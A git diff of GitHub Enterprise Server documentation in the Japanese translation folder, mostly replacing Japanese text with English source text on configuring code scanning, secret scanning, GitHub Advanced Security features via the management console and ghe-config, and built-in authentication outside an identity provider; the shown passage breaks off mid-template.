a/translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md +++ b/translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: アプライアンスのコードスキャンを設定する -shortTitle: コードスキャンを設定する -intro: '{% data variables.product.product_location %} の {% data variables.product.prodname_code_scanning %} を有効化、設定、および無効化できます。 {% data variables.product.prodname_code_scanning_capc %} を使用すると、コードの脆弱性やエラーをスキャンできます。' +title: Configuring code scanning for your appliance +shortTitle: Configuring code scanning +intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -19,7 +19,7 @@ topics: {% data reusables.code-scanning.beta %} -## {% data variables.product.prodname_code_scanning %} について +## About {% data variables.product.prodname_code_scanning %} {% data reusables.code-scanning.about-code-scanning %} @@ -27,6 +27,10 @@ You can configure {% data variables.product.prodname_code_scanning %} to run {% {% data reusables.code-scanning.enabling-options %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + ## Prerequisites for {% data variables.product.prodname_code_scanning %} - A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} @@ -35,38 +39,38 @@ You can configure {% data variables.product.prodname_code_scanning %} to run {% - A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. -## {% data variables.product.prodname_actions %} を使用して {% data variables.product.prodname_code_scanning %} を実行する +## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} -### セルフホストランナーを設定する +### Setting up a self-hosted runner -{% data variables.product.prodname_ghe_server %} は、{% data variables.product.prodname_actions %} ワークフローを使用して {% data variables.product.prodname_code_scanning %} を実行できます。 まず、環境内に 1 つ以上のセルフホスト {% data variables.product.prodname_actions %} ランナーをプロビジョニングする必要があります。 セルフホストランナーは、リポジトリ、Organization、または Enterprise アカウントレベルでプロビジョニングできます。 詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」および「[セルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。 +{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -{% data variables.product.prodname_codeql %} アクションを実行するために使用するセルフホストランナーの PATH 変数に Git が含まれていることを確認する必要があります。 +You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. ### Provisioning the actions for {% data variables.product.prodname_code_scanning %} {% ifversion ghes %} If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. -{% data variables.product.prodname_codeql %} アクションは {% data variables.product.prodname_ghe_server %} のインストールに含まれています。 {% data variables.product.prodname_ghe_server %} がインターネットにアクセス可能な場合、アクションは分析の実行に必要な {% data variables.product.prodname_codeql %} バンドルを自動的にダウンロードします。 または、同期ツールを使用して、{% data variables.product.prodname_codeql %} 分析バンドルをローカルで使用できるようにすることもできます。 詳しい情報については、以下の「[インターネットにアクセスできないサーバーで {% data variables.product.prodname_codeql %} 分析を設定する](#configuring-codeql-analysis-on-a-server-without-internet-access)」を参照してください。 +The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If {% data variables.product.prodname_ghe_server %} has access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below. -{% data variables.product.prodname_github_connect %} を設定することで、{% data variables.product.prodname_code_scanning %} のユーザがサードパーティのアクションを利用できるようにすることもできます。 詳しい情報については、以下の「[{% data variables.product.prodname_actions %} を同期するために {% data variables.product.prodname_github_connect %} を設定する](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)」を参照してください。 +You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below. -### インターネットアクセスのないサーバーで {% data variables.product.prodname_codeql %} 分析を設定する -{% data variables.product.prodname_ghe_server %} を実行しているサーバーがインターネットに接続されておらず、ユーザがリポジトリに対して {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} を有効にできるようにする場合は、{% data variables.product.prodname_codeql %} アクション同期ツールを使用して {% data variables.product.prodname_codeql %} 分析バンドルを {% data variables.product.prodname_dotcom_the_website %} からサーバーにコピーする必要があります。 ツールおよびツールの使用方法の詳細は、[https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/) で確認できます。 +### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access +If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). -{% data variables.product.prodname_codeql %} アクション同期ツールを設定すると、それを使用して、{% data variables.product.prodname_codeql %} アクションの最新リリースと関連する {% data variables.product.prodname_codeql %} 分析バンドルを同期できます。 これらは {% data variables.product.prodname_ghe_server %} と互換性があります。 +If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. {% endif %} -### {% data variables.product.prodname_actions %} を同期するために {% data variables.product.prodname_github_connect %} を設定する -1. {% data variables.product.prodname_dotcom_the_website %} からオンデマンドでアクションワークフローをダウンロードする場合は、{% data variables.product.prodname_github_connect %} を有効にする必要があります。 詳しい情報については、「[{% data variables.product.prodname_github_connect %} を有効化する](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)」を参照してください。 -2. また、{% data variables.product.product_location %} に対して {% data variables.product.prodname_actions %} を有効化する必要があります。 詳しい情報については、「[{% data variables.product.prodname_ghe_server %} の {% data variables.product.prodname_actions %} を使ってみる](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)」を参照してください。 -3. 次のステップは、{% data variables.product.prodname_github_connect %} を使用して、{% data variables.product.prodname_dotcom_the_website %} に対するアクションへのアクセスを設定することです。 詳しい情報については、「[{% data variables.product.prodname_github_connect %} を使用した {% data variables.product.prodname_dotcom_the_website %} アクションへの自動アクセスを有効化する](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)」を参照してください。 -4. セルフホストランナーをリポジトリ、Organization、または Enterprise アカウントに追加します。 詳しい情報については「[セルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。 +### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} +1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)." +2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)." +3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## {% data variables.product.prodname_codeql_runner %} を使用して {% data variables.product.prodname_code_scanning %} を実行する -{% data variables.product.prodname_actions %} を使用しない場合は、{% data variables.product.prodname_codeql_runner %} を使用して {% data variables.product.prodname_code_scanning %} を実行できます。 +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %} +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. -{% data variables.product.prodname_codeql_runner %} は、サードパーティの CI/CD システムに追加できるコマンドラインツールです。 このツールは、{% data variables.product.prodname_dotcom %} リポジトリのチェックアウトに対して {% data variables.product.prodname_codeql %} 分析を実行します。 詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を CI システムで実行する](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)」を参照してください。 +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." diff --git a/translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md index 6c87c93a41..1ff1342d1f 100644 --- a/translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md +++ b/translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: アプライアンスのシークレットスキャンを設定する -shortTitle: シークレットスキャンを設定する -intro: '{% data variables.product.product_location %} の {% data variables.product.prodname_secret_scanning %} を有効化、設定、無効化できます。 {% data variables.product.prodname_secret_scanning_caps %} を使用すると、ユーザはコードをスキャンして、誤ってコミットされたシークレットを探すことができます。' +title: Configuring secret scanning for your appliance +shortTitle: Configuring secret scanning +intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -18,63 +18,56 @@ topics: {% data reusables.secret-scanning.beta %} -## {% data variables.product.prodname_secret_scanning %} について +## About {% data variables.product.prodname_secret_scanning %} {% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + ## Prerequisites for {% data variables.product.prodname_secret_scanning %} -- [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU フラグは、{% data variables.product.product_location %} を実行するVM/KVMで有効にする必要があります。 +- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}. - A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} - {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -## vCPU での SSSE3 フラグのサポートを確認する +### Checking support for the SSSE3 flag on your vCPUs -{% data variables.product.prodname_secret_scanning %} はハードウェアアクセラレーションによるパターンマッチングを利用して、{% data variables.product.prodname_dotcom %} リポジトリにコミットされた潜在的な認証情報を見つけるため、SSSE3 の一連の命令が必要です。 SSSE3 は、ほとんどの最新の CPU で有効になっています。 {% data variables.product.prodname_ghe_server %} インスタンスで使用可能な vCPU に対して SSSE3 が有効になっているかどうかを確認できます。 +The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. -1. {% data variables.product.prodname_ghe_server %} インスタンスの管理シェルに接続します。 詳しい情報については「[管理シェル（SSH）にアクセスする](/admin/configuration/accessing-the-administrative-shell-ssh)」を参照してください。 -2. 次のコマンドを入力します。 +1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +2. Enter the following command: -```shell -grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? -``` + ```shell + grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? + ``` -これで値 `0` が返される場合は、SSSE3 フラグが使用可能で有効になっていることを示します。 その後、{% data variables.product.product_location %} に対して {% data variables.product.prodname_secret_scanning %} を有効化できます。 For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. + If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. -これで `0` が返されない場合、SSSE3 は VM/KVM で有効になっていません。 フラグを有効化する方法、またはゲスト VM で使用可能にする方法については、ハードウェア/ハイパーバイザーのドキュメントを参照する必要があります。 + If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. -### {% data variables.product.prodname_advanced_security %} ライセンスがあるかどうかを確認する - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Check if there is {% ifversion ghes < 3.2 %}an **{% data variables.product.prodname_advanced_security %}**{% else %}a **Security**{% endif %} entry in the left sidebar. -{% ifversion ghes < 3.2 %} - ![[Advanced Security] サイドバー](/assets/images/enterprise/management-console/sidebar-advanced-security.png) -{% else %} - ![Security sidebar](/assets/images/enterprise/3.2/management-console/sidebar-security.png) -{% endif %} - -{% data reusables.enterprise_management_console.advanced-security-license %} - -## {% data variables.product.prodname_secret_scanning %} の有効化 +## Enabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**. ![{% data variables.product.prodname_secret_scanning %} を有効化または無効化するチェックボックス](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -## {% data variables.product.prodname_secret_scanning %} を無効にする +## Disabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. ![{% data variables.product.prodname_secret_scanning %} を有効化または無効化するチェックボックス](/assets/images/enterprise/management-console/secret-scanning-disable.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md index 6ff5350b18..d2d205a75c 100644 --- a/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md @@ -21,13 +21,32 @@ topics: {% ifversion ghes > 3.0 %} When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." {% else %} -When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}詳しい情報については、「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」と「[リポジトリのセキュリティと分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」を参照してください。{% endif %} +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} {% endif %} {% ifversion ghes %} For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." {% endif %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% ifversion ghes > 3.0 %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. +![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +{% endif %} + +{% ifversion ghes = 3.0 %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar. +![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png) + +{% data reusables.enterprise_management_console.advanced-security-license %} +{% endif %} + ## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} 1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} @@ -37,24 +56,7 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} - - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." - -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} - -{% ifversion ghes > 3.0 %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. ![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) -{% endif %} - -{% ifversion ghes = 3.0 %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar. ![[Advanced Security] サイドバー](/assets/images/enterprise/management-console/sidebar-advanced-security.png) - -{% data reusables.enterprise_management_console.advanced-security-license %} -{% endif %} + - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." ## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features @@ -65,18 +67,19 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} 1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable. {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} -1. [{% data variables.product.prodname_advanced_security %}] で、[**{% data variables.product.prodname_code_scanning_capc %}**] をクリックします。 ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} +1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**. +![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} {% data reusables.enterprise_management_console.save-settings %} -When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. 詳しい情報については「[アプライアンスのための{% data variables.product.prodname_code_scanning %}の設定](/admin/advanced-security/configuring-code-scanning-for-your-appliance)」を参照してください。 +When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)." ## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) -You can enable or disable features programmatically on {% data variables.product.product_location %}. {% data variables.product.prodname_ghe_server %} の管理シェルおよびコマンドラインユーティリティの詳細については、「[管理シェル (SSH) へのアクセス](/admin/configuration/accessing-the-administrative-shell-ssh)」および「[コマンドラインユーティリティ](/admin/configuration/command-line-utilities#ghe-config)」を参照してください。 +You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)." For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. -1. {% data variables.product.product_location %}にSSHでアクセスしてください。 +1. SSH into {% data variables.product.product_location %}. 1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands. @@ -115,7 +118,7 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s ghe-config app.github.dependency-graph-enabled false ghe-config app.github.vulnerability-alerting-and-settings-enabled false ```{% endif %} -3. 設定を適用します。 +3. Apply the configuration. ```shell ghe-config-apply ``` diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md index 2b4cedfdb9..75efc128d4 100644 --- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md +++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md @@ -1,6 +1,6 @@ --- -title: 使用しているアイデンティティプロバイダ外のユーザのためのビルトイン認証の許可 -intro: LDAP、SAML、CASを使うアイデンティティプロバイダへのアクセスを持たないユーザを認証するために、ビルトイン認証を設定できます。 +title: Allowing built-in authentication for users outside your identity provider +intro: 'You can configure built-in authentication to authenticate users who don''t have access to your identity provider that uses LDAP, SAML, or CAS.' redirect_from: - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider @@ -15,44 +15,45 @@ topics: - Identity shortTitle: Authentication outside IdP --- +## About built-in authentication for users outside your identity provider -## 使用しているアイデンティティプロバイダ外のユーザのためのビルトイン認証について +You can use built-in authentication for outside users when you are unable to add specific accounts to your identity provider (IdP), such as accounts for contractors or machine users. You can also use built-in authentication to access a fallback account if the identity provider is unavailable. -契約業者やマシンのユーザなど、特定のアカウントを使用中のアイデンティティプロバイダ（IdP）に追加できない場合、外部のユーザのためのビルトイン認証を使うことができます。 また、アイデンティティプロバイダが利用できない場合にフォールバックアカウントにアクセスするためにビルトイン認証を使うこともできます。 +After built-in authentication is configured and a user successfully authenticates with SAML or CAS, they will no longer have the option to authenticate with a username and password. If a user successfully authenticates with LDAP, the credentials are no longer considered internal. -ビルトイン認証が設定され、ユーザがSAMLもしくはCASでの認証に成功したなら、そのユーザはユーザ名とパスワードでの認証をすることはできません。 ユーザがLDAPでの認証に成功したなら、それ以降クレデンシャルは内部的なものとは見なされません。 - -特定のIdPに対するビルトイン認証は、デフォルトで無効化されています。 +Built-in authentication for a specific IdP is disabled by default. {% warning %} -**警告：**ビルトイン認証を無効化した場合、インスタンスへアクセスできなくなったユーザを個別にサスペンドしなければなりません。 詳しい情報については[ユーザのサスペンドとサスペンドの解除](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)を参照してください。 +**Warning:** If you disable built-in authentication, you must individually suspend any users that should no longer have access to the instance. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)." {% endwarning %} -## アイデンティティプロバイダ外のユーザのためのビルトイン認証の設定 +## Configuring built-in authentication for users outside your identity provider {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -4. アイデンティティプロバイダを選択してください。 ![アイデンティティプロバイダの選択オプション](/assets/images/enterprise/management-console/identity-provider-select.gif) -5. **Allow creation of accounts with built-in authentication（ビルトイン認証でのアカウントの作成の許可）**を選択してください。 ![ビルトイン認証のオプションの選択](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) -6. 警告を読んで、**Ok**をクリックしてください。 +4. Select your identity provider. + ![Select identity provider option](/assets/images/enterprise/management-console/identity-provider-select.gif) +5. Select **Allow creation of accounts with built-in authentication**. + ![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) +6. Read the warning, then click **Ok**. {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %} -## 使用しているアイデンティティプロバイダ外のユーザをインスタンスで認証するために招待する +## Inviting users outside your identity provider to authenticate to your instance -ユーザが招待を受け付けると、ユーザはIdPを通じてサインインするのではなく、ユーザ名とパスワードを使ってサインインできます。 +When a user accepts the invitation, they can use their username and password to sign in rather than signing in through the IdP. {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data 